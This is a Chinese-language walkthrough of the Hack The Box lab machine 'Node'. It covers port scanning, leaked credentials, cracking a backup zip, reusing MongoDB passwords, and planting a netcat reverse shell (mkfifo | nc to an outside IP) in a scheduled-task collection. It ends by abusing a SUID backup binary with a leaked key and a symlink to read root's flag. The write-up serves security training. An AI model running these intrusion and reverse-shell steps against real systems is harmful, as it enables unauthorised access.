【Hack The Box】linux练习-- Node
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月9日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc5e34a625db43eceb40f4967b8ed1da (RSA)
| 256 6c8e5e5f4fd5417d1895d1dc2e3fe59c (ECDSA)
|_ 256 d878b85d85ffad7be6e2b5da1e526236 (ED25519)
3000/tcp open hadoop-datanode Apache Hadoop
| hadoop-datanode-info:
|_ Logs: /login
|_http-title: MyPlace
| hadoop-tasktracker-info:
|_ Logs: /login
web页面没有什么太多的有价值信息,只有三个用户
考虑开始目录爆破
tom
mark
rastating
但是目录爆破也是毫无价值
回到页面源码开始看,源码的这些js文件我是不太喜欢看的,因为很容易漏,并且我也不太能看不懂
但是最终还是发现了这个稍微让我敏感的东西
于是我访问了这个页面
发现了很多用户名和密码
经过md5解密,只得到了一组有效用户密码
User: myP14ceAdm1nAcc0uNT
Password: manchester
随后登陆,发现可以下载一个备份包
但是总是失败
于是抓包找到下载地址(浏览器文件右键复制下载地址也可)
curl -H @req 10.129.12.194:3000/api/admin/backup > myplace.backup
发现他是一个base64的格式
cat myplace.backup | base64 -d > myplace
mv myplace myplace.zip
unzip myplace.zip
发现有密码,目前没有任何信息,用户登录密码无效,那就只能爆破
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup
得到密码
magicword
得到内容如下
mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace
文件 app.js 包含 monngodb url
我们用web登陆账号密码登陆ssh
第一步肯定是找user.txt
但是不在当前用户的下,于是我们全局寻找
发现在tom下,那么我们目前有两条路可选,要么直接内核提权,要么进tom然后再找机会(这里是可以直接内核提权的,用的是44298.c)
我们选择第一种方法:
先看一下tom运行的相关进程
ps -ef | grep tom
发现了app.js文件
打开来看
是一些目前不知道所以然的东西
但是我估计肯定有用,不然不会这么显眼
但是暂且一放
linpeas.sh跑出了数据库配置文件
就是这样一类的,告诉我们mongodb的账号密码,那我们肯定义不容辞的登陆,mongodb数据库的命令执行我们之前是搞过的
这下面是我的清单,有兴趣的小伙伴可以去看看,还挺有用
mongo -u mark -p 5AYRft73VtFpc84k scheduler ---一定要有scheduler
show collections ----show tables;查看已存在的表
db.tasks.find({}) ----查看一下表内容,现在表中无文档
db.tasks.insert({cmd: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.247.129 4444 >/tmp/f"}) ----将反弹shell插入文档
我们现在已经拿到了tom的用户
现在可以准备提权,并获取root.txt
手工枚举开始
find / -perm -4000 -type f 2>/dev/null
发现异常,这个二进制文件是我没见过的
无法运行
strings分析一下发现了base64
解码得到了一个压缩包,跟刚才同一个密码
解压之后得到了一个头
我没懂,但这个时候app.js唤醒了我,我记得我看到了backup的相关代码,于是我进行了又一次的审计
发现可以备份一个文件或者目录,但是要带一个key,而这个kry在文件中可以被找到,那么我们就开始备份root
app.get('/api/admin/backup', function (req, res) {
if (req.session.user && req.session.user.is_admin) {
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
----------------------------------------------------
var backup = '';
proc.on("exit", function(exitCode) {
res.header("Content-Type", "text/plain");
res.header("Content-Disposition", "attachment; filename=myplace.backup");
res.send(backup);
});
proc.stdout.on("data", function(chunk) {
backup += chunk;
});
const backup_key
= '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
cat backup | base64 -d > backup.zip
结果解压出来还是那个头
我真是服了
不过也正常,可能root有保护机制
上网搜了一下
网上说通过这里能知道root不能被备份,我没懂,但我认为处理这种情况的方法有很多,而我更喜欢软连接的方式
ln -s /root/root.txt /tmp/rong
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/rong > /tmp/backup
然后步骤一致,即可得到root.txt